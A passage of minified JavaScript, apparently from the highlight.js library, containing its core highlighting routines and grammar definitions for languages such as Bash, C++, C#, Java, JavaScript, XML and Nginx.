B,S,$=0;;){if(N.t.lastIndex=$,B=N.t.exec(r),!B)break;S=h(r.substring($,B.index),B[0]),$=B.index+S}for(h(r.substr($)),y=N;y.parent;y=y.parent)y.cN&&(C+=R);return{r:M,value:C,language:e,top:N}}catch(A){if(A.message&&-1!==A.message.indexOf(\"Illegal\"))return{r:0,value:t(r)};throw A}}function b(e,r){r=r||L.languages||k(x);var a={r:0,value:t(e)},n=a;return r.filter(w).forEach(function(t){var r=d(t,e,!1);r.language=t,r.r>n.r&&(n=r),r.r>a.r&&(n=a,a=r)}),n.language&&(a.second_best=n),a}function p(e){return L.tabReplace||L.useBR?e.replace(B,function(e,t){return L.useBR&&\"\\n\"===e?\"<br>\":L.tabReplace?t.replace(/\\t/g,L.tabReplace):\"\"}):e}function m(e,t,r){var a=t?C[t]:r,n=[e.trim()];return e.match(/\\bhljs\\b/)||n.push(\"hljs\"),-1===e.indexOf(a)&&n.push(a),n.join(\" \").trim()}function f(e){var t,r,a,s,l,u=i(e);n(u)||(L.useBR?(t=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\"),t.innerHTML=e.innerHTML.replace(/\\n/g,\"\").replace(/<br[ \\/]*>/g,\"\\n\")):t=e,l=t.textContent,a=u?d(u,l,!0):b(l),r=c(t),r.length&&(s=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\"),s.innerHTML=a.value,a.value=o(r,c(s),l)),a.value=p(a.value),e.innerHTML=a.value,e.className=m(e.className,u,a.language),e.result={language:a.language,re:a.r},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.r}))}function g(e){L=s(L,e)}function _(){if(!_.called){_.called=!0;var e=document.querySelectorAll(\"pre code\");N.forEach.call(e,f)}}function h(){addEventListener(\"DOMContentLoaded\",_,!1),addEventListener(\"load\",_,!1)}function v(t,r){var a=x[t]=r(e);a.aliases&&a.aliases.forEach(function(e){C[e]=t})}function y(){return k(x)}function w(e){return e=(e||\"\").toLowerCase(),x[e]||x[C[e]]}var N=[],k=Object.keys,x={},C={},E=/^(no-?highlight|plain|text)$/i,M=/\\blang(?:uage)?-([\\w-]+)\\b/i,B=/((^(<[^>]+>|\\t|)+|(?:\\n)))/gm,R=\"</span>\",L={classPrefix:\"hljs-\",tabReplace:null,useBR:!1,languages:void 0};return e.highlight=d,e.highlightAuto=b,e.fixMarkup=p,e.highlightBlock=f,e.configure=g,e.initHighlighting=_,e.initHighlightingOnLoad=h,e.registerLanguage=v,e.listLanguages=y,e.getLanguage=w,e.inherit=s,e.IR=\"[a-zA-Z]\\\\w*\",e.UIR=\"[a-zA-Z_]\\\\w*\",e.NR=\"\\\\b\\\\d+(\\\\.\\\\d+)?\",e.CNR=\"(-?)(\\\\b0[xX][a-fA-F0-9]+|(\\\\b\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)([eE][-+]?\\\\d+)?)\",e.BNR=\"\\\\b(0b[01]+)\",e.RSR=\"!|!=|!==|%|%=|&|&&|&=|\\\\*|\\\\*=|\\\\+|\\\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\\\?|\\\\[|\\\\{|\\\\(|\\\\^|\\\\^=|\\\\||\\\\|=|\\\\|\\\\||~\",e.BE={b:\"\\\\\\\\[\\\\s\\\\S]\",r:0},e.ASM={cN:\"string\",b:\"'\",e:\"'\",i:\"\\\\n\",c:[e.BE]},e.QSM={cN:\"string\",b:'\"',e:'\"',i:\"\\\\n\",c:[e.BE]},e.PWM={b:/\\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\\b/},e.C=function(t,r,a){var n=e.inherit({cN:\"comment\",b:t,e:r,c:[]},a||{});return n.c.push(e.PWM),n.c.push({cN:\"doctag\",b:\"(?:TODO|FIXME|NOTE|BUG|XXX):\",r:0}),n},e.CLCM=e.C(\"//\",\"$\"),e.CBCM=e.C(\"/\\\\*\",\"\\\\*/\"),e.HCM=e.C(\"#\",\"$\"),e.NM={cN:\"number\",b:e.NR,r:0},e.CNM={cN:\"number\",b:e.CNR,r:0},e.BNM={cN:\"number\",b:e.BNR,r:0},e.CSSNM={cN:\"number\",b:e.NR+\"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?\",r:0},e.RM={cN:\"regexp\",b:/\\//,e:/\\/[gimuy]*/,i:/\\n/,c:[e.BE,{b:/\\[/,e:/\\]/,r:0,c:[e.BE]}]},e.TM={cN:\"title\",b:e.IR,r:0},e.UTM={cN:\"title\",b:e.UIR,r:0},e.METHOD_GUARD={b:\"\\\\.\\\\s*\"+e.UIR,r:0},e.registerLanguage(\"apache\",function(e){var t={cN:\"number\",b:\"[\\\\$%]\\\\d+\"};return{aliases:[\"apacheconf\"],cI:!0,c:[e.HCM,{cN:\"section\",b:\"</?\",e:\">\"},{cN:\"attribute\",b:/\\w+/,r:0,k:{nomarkup:\"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername\"},starts:{e:/$/,r:0,k:{literal:\"on off all\"},c:[{cN:\"meta\",b:\"\\\\s\\\\[\",e:\"\\\\]$\"},{cN:\"variable\",b:\"[\\\\$%]\\\\{\",e:\"\\\\}\",c:[\"self\",t]},t,e.QSM]}}],i:/\\S/}}),e.registerLanguage(\"bash\",function(e){var t={cN:\"variable\",v:[{b:/\\$[\\w\\d#@][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},r={cN:\"string\",b:/\"/,e:/\"/,c:[e.BE,t,{cN:\"variable\",b:/\\$\\(/,e:/\\)/,c:[e.BE]}]},a={cN:\"string\",b:/'/,e:/'/};return{aliases:[\"sh\",\"zsh\"],l:/\\b-?[a-z\\._]+\\b/,k:{keyword:\"if then else elif fi for while in do done case esac function\",literal:\"true false\",built_in:\"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp\",_:\"-ne -eq -lt -gt -f -d -e -s -l -a\"},c:[{cN:\"meta\",b:/^#![^\\n]+sh\\s*$/,r:10},{cN:\"function\",b:/\\w[\\w\\d_]*\\s*\\(\\s*\\)\\s*\\{/,rB:!0,c:[e.inherit(e.TM,{b:/\\w[\\w\\d_]*/})],r:0},e.HCM,r,a,t]}}),e.registerLanguage(\"coffeescript\",function(e){var t={keyword:\"in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super yield import export from as default await then unless until loop of by when and or is isnt not\",literal:\"true false null undefined yes no on off\",built_in:\"npm require console print module global window document\"},r=\"[A-Za-z$_][0-9A-Za-z$_]*\",a={cN:\"subst\",b:/#\\{/,e:/}/,k:t},n=[e.BNM,e.inherit(e.CNM,{starts:{e:\"(\\\\s*/)?\",r:0}}),{cN:\"string\",v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/\"\"\"/,e:/\"\"\"/,c:[e.BE,a]},{b:/\"/,e:/\"/,c:[e.BE,a]}]},{cN:\"regexp\",v:[{b:\"///\",e:\"///\",c:[a,e.HCM]},{b:\"//[gim]*\",r:0},{b:/\\/(?![ *])(\\\\\\/|.)*?\\/[gim]*(?=\\W|$)/}]},{b:\"@\"+r},{sL:\"javascript\",eB:!0,eE:!0,v:[{b:\"```\",e:\"```\"},{b:\"`\",e:\"`\"}]}];a.c=n;var i=e.inherit(e.TM,{b:r}),s=\"(\\\\(.*\\\\))?\\\\s*\\\\B[-=]>\",c={cN:\"params\",b:\"\\\\([^\\\\(]\",rB:!0,c:[{b:/\\(/,e:/\\)/,k:t,c:[\"self\"].concat(n)}]};return{aliases:[\"coffee\",\"cson\",\"iced\"],k:t,i:/\\/\\*/,c:n.concat([e.C(\"###\",\"###\"),e.HCM,{cN:\"function\",b:\"^\\\\s*\"+r+\"\\\\s*=\\\\s*\"+s,e:\"[-=]>\",rB:!0,c:[i,c]},{b:/[:\\(,=]\\s*/,r:0,c:[{cN:\"function\",b:s,e:\"[-=]>\",rB:!0,c:[c]}]},{cN:\"class\",bK:\"class\",e:\"$\",i:/[:=\"\\[\\]]/,c:[{bK:\"extends\",eW:!0,i:/[:=\"\\[\\]]/,c:[i]},i]},{b:r+\":\",e:\":\",rB:!0,rE:!0,r:0}])}}),e.registerLanguage(\"cpp\",function(e){var t={cN:\"keyword\",b:\"\\\\b[a-z\\\\d_]*_t\\\\b\"},r={cN:\"string\",v:[{b:'(u8?|U)?L?\"',e:'\"',i:\"\\\\n\",c:[e.BE]},{b:'(u8?|U)?R\"',e:'\"',c:[e.BE]},{b:\"'\\\\\\\\?.\",e:\"'\",i:\".\"}]},a={cN:\"number\",v:[{b:\"\\\\b(0b[01']+)\"},{b:\"(-?)\\\\b([\\\\d']+(\\\\.[\\\\d']*)?|\\\\.[\\\\d']+)(u|U|l|L|ul|UL|f|F|b|B)\"},{b:\"(-?)(\\\\b0[xX][a-fA-F0-9']+|(\\\\b[\\\\d']+(\\\\.[\\\\d']*)?|\\\\.[\\\\d']+)([eE][-+]?[\\\\d']+)?)\"}],r:0},n={cN:\"meta\",b:/#\\s*[a-z]+\\b/,e:/$/,k:{\"meta-keyword\":\"if else elif endif define undef warning error line pragma ifdef ifndef include\"},c:[{b:/\\\\\\n/,r:0},e.inherit(r,{cN:\"meta-string\"}),{cN:\"meta-string\",b:/<[^\\n>]*>/,e:/$/,i:\"\\\\n\"},e.CLCM,e.CBCM]},i=e.IR+\"\\\\s*\\\\(\",s={keyword:\"int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not\",built_in:\"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr\",literal:\"true false nullptr NULL\"},c=[t,e.CLCM,e.CBCM,a,r];return{aliases:[\"c\",\"cc\",\"h\",\"c++\",\"h++\",\"hpp\"],k:s,i:\"</\",c:c.concat([n,{b:\"\\\\b(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\\\s*<\",e:\">\",k:s,c:[\"self\",t]},{b:e.IR+\"::\",k:s},{v:[{b:/=/,e:/;/},{b:/\\(/,e:/\\)/},{bK:\"new throw return else\",e:/;/}],k:s,c:c.concat([{b:/\\(/,e:/\\)/,k:s,c:c.concat([\"self\"]),r:0}]),r:0},{cN:\"function\",b:\"(\"+e.IR+\"[\\\\*&\\\\s]+)+\"+i,rB:!0,e:/[{;=]/,eE:!0,k:s,i:/[^\\w\\s\\*&]/,c:[{b:i,rB:!0,c:[e.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,k:s,r:0,c:[e.CLCM,e.CBCM,r,a,t]},e.CLCM,e.CBCM,n]},{cN:\"class\",bK:\"class struct\",e:/[{;:]/,c:[{b:/</,e:/>/,c:[\"self\"]},e.TM]}]),exports:{preprocessor:n,strings:r,k:s}}}),e.registerLanguage(\"cs\",function(e){var t={keyword:\"abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long nameof object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let on orderby partial remove select set value var where yield\",literal:\"null false true\"},r={cN:\"string\",b:'@\"',e:'\"',c:[{b:'\"\"'}]},a=e.inherit(r,{i:/\\n/}),n={cN:\"subst\",b:\"{\",e:\"}\",k:t},i=e.inherit(n,{i:/\\n/}),s={cN:\"string\",b:/\\$\"/,e:'\"',i:/\\n/,c:[{b:\"{{\"},{b:\"}}\"},e.BE,i]},c={cN:\"string\",b:/\\$@\"/,e:'\"',c:[{b:\"{{\"},{b:\"}}\"},{b:'\"\"'},n]},o=e.inherit(c,{i:/\\n/,c:[{b:\"{{\"},{b:\"}}\"},{b:'\"\"'},i]});n.c=[c,s,r,e.ASM,e.QSM,e.CNM,e.CBCM],i.c=[o,s,a,e.ASM,e.QSM,e.CNM,e.inherit(e.CBCM,{i:/\\n/})];var l={v:[c,s,r,e.ASM,e.QSM]},u=e.IR+\"(<\"+e.IR+\"(\\\\s*,\\\\s*\"+e.IR+\")*>)?(\\\\[\\\\])?\";return{aliases:[\"csharp\"],k:t,i:/::/,c:[e.C(\"///\",\"$\",{rB:!0,c:[{cN:\"doctag\",v:[{b:\"///\",r:0},{b:\"<!--|-->\"},{b:\"</?\",e:\">\"}]}]}),e.CLCM,e.CBCM,{cN:\"meta\",b:\"#\",e:\"$\",k:{\"meta-keyword\":\"if else elif endif define undef warning error line region endregion pragma checksum\"}},l,e.CNM,{bK:\"class interface\",e:/[{;=]/,i:/[^\\s:]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:\"namespace\",e:/[{;=]/,i:/[^\\s:]/,c:[e.inherit(e.TM,{b:\"[a-zA-Z](\\\\.?\\\\w)*\"}),e.CLCM,e.CBCM]},{cN:\"meta\",b:\"^\\\\s*\\\\[\",eB:!0,e:\"\\\\]\",eE:!0,c:[{cN:\"meta-string\",b:/\"/,e:/\"/}]},{bK:\"new return throw await else\",r:0},{cN:\"function\",b:\"(\"+u+\"\\\\s+)+\"+e.IR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:t,c:[{b:e.IR+\"\\\\s*\\\\(\",rB:!0,c:[e.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,k:t,r:0,c:[l,e.CNM,e.CBCM]},e.CLCM,e.CBCM]}]}}),e.registerLanguage(\"css\",function(e){var t=\"[a-zA-Z-][a-zA-Z0-9_-]*\",r={b:/[A-Z\\_\\.\\-]+\\s*:/,rB:!0,e:\";\",eW:!0,c:[{cN:\"attribute\",b:/\\S/,e:\":\",eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\\w-]+\\(/,rB:!0,c:[{cN:\"built_in\",b:/[\\w-]+/},{b:/\\(/,e:/\\)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:\"number\",b:\"#[0-9A-Fa-f]+\"},{cN:\"meta\",b:\"!important\"}]}}]};return{cI:!0,i:/[=\\/|'\\$]/,c:[e.CBCM,{cN:\"selector-id\",b:/#[A-Za-z0-9_-]+/},{cN:\"selector-class\",b:/\\.[A-Za-z0-9_-]+/},{cN:\"selector-attr\",b:/\\[/,e:/\\]/,i:\"$\"},{cN:\"selector-pseudo\",b:/:(:)?[a-zA-Z0-9\\_\\-\\+\\(\\)\"'.]+/},{b:\"@(font-face|page)\",l:\"[a-z-]+\",k:\"font-face page\"},{b:\"@\",e:\"[{;]\",i:/:/,c:[{cN:\"keyword\",b:/\\w+/},{b:/\\s/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:\"selector-tag\",b:t,r:0},{b:\"{\",e:\"}\",i:/\\S/,c:[e.CBCM,r]}]}}),e.registerLanguage(\"diff\",function(e){return{aliases:[\"patch\"],c:[{cN:\"meta\",r:10,v:[{b:/^@@ +\\-\\d+,\\d+ +\\+\\d+,\\d+ +@@$/},{b:/^\\*\\*\\* +\\d+,\\d+ +\\*\\*\\*\\*$/},{b:/^\\-\\-\\- +\\d+,\\d+ +\\-\\-\\-\\-$/}]},{cN:\"comment\",v:[{b:/Index: /,e:/$/},{b:/={3,}/,e:/$/},{b:/^\\-{3}/,e:/$/},{b:/^\\*{3} /,e:/$/},{b:/^\\+{3}/,e:/$/},{b:/\\*{5}/,e:/\\*{5}$/}]},{cN:\"addition\",b:\"^\\\\+\",e:\"$\"},{cN:\"deletion\",b:\"^\\\\-\",e:\"$\"},{cN:\"addition\",b:\"^\\\\!\",e:\"$\"}]}}),e.registerLanguage(\"http\",function(e){var t=\"HTTP/[0-9\\\\.]+\";return{aliases:[\"https\"],i:\"\\\\S\",c:[{b:\"^\"+t,e:\"$\",c:[{cN:\"number\",b:\"\\\\b\\\\d{3}\\\\b\"}]},{b:\"^[A-Z]+ (.*?) \"+t+\"$\",rB:!0,e:\"$\",c:[{cN:\"string\",b:\" \",e:\" \",eB:!0,eE:!0},{b:t},{cN:\"keyword\",b:\"[A-Z]+\"}]},{cN:\"attribute\",b:\"^\\\\w\",e:\": \",eE:!0,i:\"\\\\n|\\\\s|=\",starts:{e:\"$\",r:0}},{b:\"\\\\n\\\\n\",starts:{sL:[],eW:!0}}]}}),e.registerLanguage(\"ini\",function(e){var t={cN:\"string\",c:[e.BE],v:[{b:\"'''\",e:\"'''\",r:10},{b:'\"\"\"',e:'\"\"\"',r:10},{b:'\"',e:'\"'},{b:\"'\",e:\"'\"}]};return{aliases:[\"toml\"],cI:!0,i:/\\S/,c:[e.C(\";\",\"$\"),e.HCM,{cN:\"section\",b:/^\\s*\\[+/,e:/\\]+/},{b:/^[a-z0-9\\[\\]_-]+\\s*=\\s*/,e:\"$\",rB:!0,c:[{cN:\"attr\",b:/[a-z0-9\\[\\]_-]+/},{b:/=/,eW:!0,r:0,c:[{cN:\"literal\",b:/\\bon|off|true|false|yes|no\\b/},{cN:\"variable\",v:[{b:/\\$[\\w\\d\"][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},t,{cN:\"number\",b:/([\\+\\-]+)?[\\d]+_[\\d_]+/},e.NM]}]}]}}),e.registerLanguage(\"java\",function(e){var t=\"[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*\",r=t+\"(<\"+t+\"(\\\\s*,\\\\s*\"+t+\")*>)?\",a=\"false synchronized int abstract float private char boolean static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do\",n=\"\\\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+)(\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))?|\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))([eE][-+]?\\\\d+)?)[lLfF]?\",i={cN:\"number\",b:n,r:0};return{aliases:[\"jsp\"],k:a,i:/<\\/|#/,c:[e.C(\"/\\\\*\\\\*\",\"\\\\*/\",{r:0,c:[{b:/\\w+@/,r:0},{cN:\"doctag\",b:\"@[A-Za-z]+\"}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:\"class\",bK:\"class interface\",e:/[{;=]/,eE:!0,k:\"class interface\",i:/[:\"\\[\\]]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"new throw return else\",r:0},{cN:\"function\",b:\"(\"+r+\"\\\\s+)+\"+e.UIR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:a,c:[{b:e.UIR+\"\\\\s*\\\\(\",rB:!0,r:0,c:[e.UTM]},{cN:\"params\",b:/\\(/,e:/\\)/,k:a,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},i,{cN:\"meta\",b:\"@[A-Za-z]+\"}]}}),e.registerLanguage(\"javascript\",function(e){var t=\"[A-Za-z$_][0-9A-Za-z$_]*\",r={keyword:\"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as\",literal:\"true false null undefined NaN Infinity\",built_in:\"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise\"},a={cN:\"number\",v:[{b:\"\\\\b(0[bB][01]+)\"},{b:\"\\\\b(0[oO][0-7]+)\"},{b:e.CNR}],r:0},n={cN:\"subst\",b:\"\\\\$\\\\{\",e:\"\\\\}\",k:r,c:[]},i={cN:\"string\",b:\"`\",e:\"`\",c:[e.BE,n]};n.c=[e.ASM,e.QSM,i,a,e.RM];var s=n.c.concat([e.CBCM,e.CLCM]);return{aliases:[\"js\",\"jsx\"],k:r,c:[{cN:\"meta\",r:10,b:/^\\s*['\"]use (strict|asm)['\"]/},{cN:\"meta\",b:/^#!/,e:/$/},e.ASM,e.QSM,i,e.CLCM,e.CBCM,a,{b:/[{,]\\s*/,r:0,c:[{b:t+\"\\\\s*:\",rB:!0,r:0,c:[{cN:\"attr\",b:t,r:0}]}]},{b:\"(\"+e.RSR+\"|\\\\b(case|return|throw)\\\\b)\\\\s*\",k:\"return throw case\",c:[e.CLCM,e.CBCM,e.RM,{cN:\"function\",b:\"(\\\\(.*?\\\\)|\"+t+\")\\\\s*=>\",rB:!0,e:\"\\\\s*=>\",c:[{cN:\"params\",v:[{b:t},{b:/\\(\\s*\\)/},{b:/\\(/,e:/\\)/,eB:!0,eE:!0,k:r,c:s}]}]},{b:/</,e:/(\\/\\w+|\\w+\\/)>/,sL:\"xml\",c:[{b:/<\\w+\\s*\\/>/,skip:!0},{b:/<\\w+/,e:/(\\/\\w+|\\w+\\/)>/,skip:!0,c:[{b:/<\\w+\\s*\\/>/,skip:!0},\"self\"]}]}],r:0},{cN:\"function\",bK:\"function\",e:/\\{/,eE:!0,c:[e.inherit(e.TM,{b:t}),{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,c:s}],i:/\\[|%/},{b:/\\$[(.]/},e.METHOD_GUARD,{cN:\"class\",bK:\"class\",e:/[{;=]/,eE:!0,i:/[:\"\\[\\]]/,c:[{bK:\"extends\"},e.UTM]},{bK:\"constructor\",e:/\\{/,eE:!0}],i:/#(?!!)/}}),e.registerLanguage(\"json\",function(e){var t={literal:\"true false null\"},r=[e.QSM,e.CNM],a={e:\",\",eW:!0,eE:!0,c:r,k:t},n={b:\"{\",e:\"}\",c:[{cN:\"attr\",b:/\"/,e:/\"/,c:[e.BE],i:\"\\\\n\"},e.inherit(a,{b:/:/})],i:\"\\\\S\"},i={b:\"\\\\[\",e:\"\\\\]\",c:[e.inherit(a)],i:\"\\\\S\"};return r.splice(r.length,0,n,i),{c:r,k:t,i:\"\\\\S\"}}),e.registerLanguage(\"makefile\",function(e){var t={cN:\"variable\",v:[{b:\"\\\\$\\\\(\"+e.UIR+\"\\\\)\",c:[e.BE]},{b:/\\$[@%<?\\^\\+\\*]/}]},r={cN:\"string\",b:/\"/,e:/\"/,c:[e.BE,t]},a={cN:\"variable\",b:/\\$\\([\\w-]+\\s/,e:/\\)/,k:{built_in:\"subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value\"},c:[t]},n={b:\"^\"+e.UIR+\"\\\\s*[:+?]?=\",i:\"\\\\n\",rB:!0,c:[{b:\"^\"+e.UIR,e:\"[:+?]?=\",eE:!0}]},i={cN:\"meta\",b:/^\\.PHONY:/,e:/$/,k:{\"meta-keyword\":\".PHONY\"},l:/[\\.\\w]+/},s={cN:\"section\",b:/^[^\\s]+:/,e:/$/,c:[t]};return{aliases:[\"mk\",\"mak\"],k:\"define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath\",l:/[\\w-]+/,c:[e.HCM,t,r,a,n,i,s]}}),e.registerLanguage(\"xml\",function(e){var t=\"[A-Za-z0-9\\\\._:-]+\",r={eW:!0,i:/</,r:0,c:[{cN:\"attr\",b:t,r:0},{b:/=\\s*/,r:0,c:[{cN:\"string\",endsParent:!0,v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/},{b:/[^\\s\"'=<>`]+/}]}]}]};return{aliases:[\"html\",\"xhtml\",\"rss\",\"atom\",\"xjb\",\"xsd\",\"xsl\",\"plist\"],cI:!0,c:[{cN:\"meta\",b:\"<!DOCTYPE\",e:\">\",r:10,c:[{b:\"\\\\[\",e:\"\\\\]\"}]},e.C(\"<!--\",\"-->\",{r:10}),{b:\"<\\\\!\\\\[CDATA\\\\[\",e:\"\\\\]\\\\]>\",r:10},{b:/<\\?(php)?/,e:/\\?>/,sL:\"php\",c:[{b:\"/\\\\*\",e:\"\\\\*/\",skip:!0}]},{cN:\"tag\",b:\"<style(?=\\\\s|>|$)\",e:\">\",k:{name:\"style\"},c:[r],starts:{e:\"</style>\",rE:!0,sL:[\"css\",\"xml\"]}},{cN:\"tag\",b:\"<script(?=\\\\s|>|$)\",e:\">\",k:{name:\"script\"},c:[r],starts:{e:\"</script>\",rE:!0,sL:[\"actionscript\",\"javascript\",\"handlebars\",\"xml\"]}},{cN:\"meta\",v:[{b:/<\\?xml/,e:/\\?>/,r:10},{b:/<\\?\\w+/,e:/\\?>/}]},{cN:\"tag\",b:\"</?\",e:\"/?>\",c:[{cN:\"name\",b:/[^\\/><\\s]+/,r:0},r]}]}}),e.registerLanguage(\"markdown\",function(e){return{aliases:[\"md\",\"mkdown\",\"mkd\"],c:[{cN:\"section\",v:[{b:\"^#{1,6}\",e:\"$\"},{b:\"^.+?\\\\n[=-]{2,}$\"}]},{b:\"<\",e:\">\",sL:\"xml\",r:0},{cN:\"bullet\",b:\"^([*+-]|(\\\\d+\\\\.))\\\\s+\"},{cN:\"strong\",b:\"[*_]{2}.+?[*_]{2}\"},{cN:\"emphasis\",v:[{b:\"\\\\*.+?\\\\*\"},{b:\"_.+?_\",r:0}]},{cN:\"quote\",b:\"^>\\\\s+\",e:\"$\"},{cN:\"code\",v:[{b:\"^```w*s*$\",e:\"^```s*$\"},{b:\"`.+?`\"},{b:\"^( {4}|\t)\",e:\"$\",r:0}]},{b:\"^[-\\\\*]{3,}\",e:\"$\"},{b:\"\\\\[.+?\\\\][\\\\(\\\\[].*?[\\\\)\\\\]]\",rB:!0,c:[{cN:\"string\",b:\"\\\\[\",e:\"\\\\]\",eB:!0,rE:!0,r:0},{cN:\"link\",b:\"\\\\]\\\\(\",e:\"\\\\)\",eB:!0,eE:!0},{cN:\"symbol\",b:\"\\\\]\\\\[\",e:\"\\\\]\",eB:!0,eE:!0}],r:10},{b:/^\\[[^\\n]+\\]:/,rB:!0,c:[{cN:\"symbol\",b:/\\[/,e:/\\]/,eB:!0,eE:!0},{cN:\"link\",b:/:\\s*/,e:/$/,eB:!0}]}]}}),e.registerLanguage(\"nginx\",function(e){var t={cN:\"variable\",v:[{b:/\\$\\d+/},{b:/\\$\\{/,e:/}/},{b:\"[\\\\$\\\\@]\"+e.UIR}]},r={eW:!0,l:\"[a-z/_]+\",k:{literal:\"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll\"},r:0,i:\"=>\",c:[e.HCM,{cN:\"string\",c:[e.BE,t],v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/}]},{b:\"([a-z]+):/\",e:\"\\\\s\",eW:!0,eE:!0,c:[t]},{cN:\"regexp\",c:[e.BE,t],v:[{b:\"\\\\s\\\\^\",e:\"\\\\s|{|;\",rE:!0},{b:\"~\\\\*?\\\\s+\",e:\"\\\\s|{|;\",rE:!0},{b:\"\\\\*(\\\\.[a-z\\\\-]+)+\"},{b:\"([a-z\\\\-]+\\\\.)+\\\\*\"}]},{cN:\"number\",b:\"\\\\b\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}(:\\\\d{1,5})?\\\\b\"},{cN:\"number\",b:\"\\\\b\\\\d+[kKmMgGdshdwy]*\\\\b\",r:0},t]};return{aliases:[\"nginxconf\"],c:[e.HCM,{b:e.UIR+\"\\\\s+{\",rB:!0,e:\"{\",c:[{cN:\"section\",b:e.UIR}],r:0},{b:e.UIR+\"\\\\s\",e:\";|{\",rB:!0,c:[{cN:\"attribute\",b:e.UIR,starts:r}],r:0}],i:\"[^\\\\s\\\\}]\"}}),e.registerLanguage(\"objectivec\",function(e){var 